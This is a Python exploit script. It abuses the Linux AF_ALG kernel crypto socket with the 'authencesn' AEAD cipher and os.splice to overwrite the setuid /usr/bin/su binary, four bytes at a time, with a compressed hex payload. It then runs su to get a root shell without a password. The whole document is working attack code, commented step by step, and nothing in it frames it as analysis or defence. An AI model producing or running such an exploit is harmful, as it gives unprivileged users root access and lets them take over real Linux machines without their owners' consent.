#!/usr/bin/env python3 import os import zlib import socket # Helper to convert hex strings to byte arrays def hex_to_bytes(hex_str): return bytes.fromhex(hex_str) def trigger_kernel_corruption(target_file, offset, payload_chunk): # AF_ALG (38) is the Linux Kernel Crypto API socket domain # SOCK_SEQPACKET (5) is the socket type alg_socket = socket.socket(38, 5, 0) # Bind to a specific AEAD (Authenticated Encryption with Associated Data) cipher # This specific cipher combination is often used to target memory flaws in the kernel alg_socket.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) # Socket option constants SOL_ALG = 279 ALG_SET_KEY = 1 ALG_SET_AEAD_AUTHSIZE = 5 # 1. Set the crypto key (malformed to trigger heap issues) key_data = hex_to_bytes('0800010000000010' + '0' * 64) alg_socket.setsockopt(SOL_ALG, ALG_SET_KEY, key_data) # 2. Set the authentication tag size alg_socket.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4) # Accept the connection to the crypto transform op_socket, _ = alg_socket.accept() # Construct the malicious control message (ancillary data) # This targets the internal kernel buffers by providing inconsistent lengths null_byte = hex_to_bytes('00') msg_control = [ (SOL_ALG, 3, null_byte * 4), # ALG_SET_IV (SOL_ALG, 2, b'\x10' + null_byte * 19), # ALG_SET_OP (SOL_ALG, 4, b'\x08' + null_byte * 3), # ALG_SET_AEAD_ASSOCLEN ] # Send the payload chunk to the kernel op_socket.sendmsg([b"A" * 4 + payload_chunk], msg_control, 0, 32768) # Use os.splice to move data from the target binary (su) into the socket # This bypasses standard user-space memory protections pipe_read, pipe_write = os.pipe() # Splice from file to pipe os.splice(target_file.fileno(), pipe_write, offset + 4, offset_src=0) # Splice from pipe to the exploit socket os.splice(pipe_read, op_socket.fileno(), offset + 4) try: # Attempt to receive the result of the "crypto" operation op_socket.recv(8 + offset) except Exception: pass # --- Main Execution --- # Open /usr/bin/su in read-only mode su_binary = os.open("/usr/bin/su", os.O_RDONLY) # Decompress the binary payload (the shellcode/memory overwrite data) compressed_payload = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3" payload_bytes = zlib.decompress(hex_to_bytes(compressed_payload)) # Loop through the payload, spraying it into the kernel memory 4 bytes at a time current_offset = 0 while current_offset < len(payload_bytes): chunk = payload_bytes[current_offset : current_offset + 4] trigger_kernel_corruption(su_binary, current_offset, chunk) current_offset += 4 # If the exploit succeeded, the kernel has been tricked into thinking # the current process has root privileges. # Executing 'su' now should drop into a root shell without a password. os.system("su")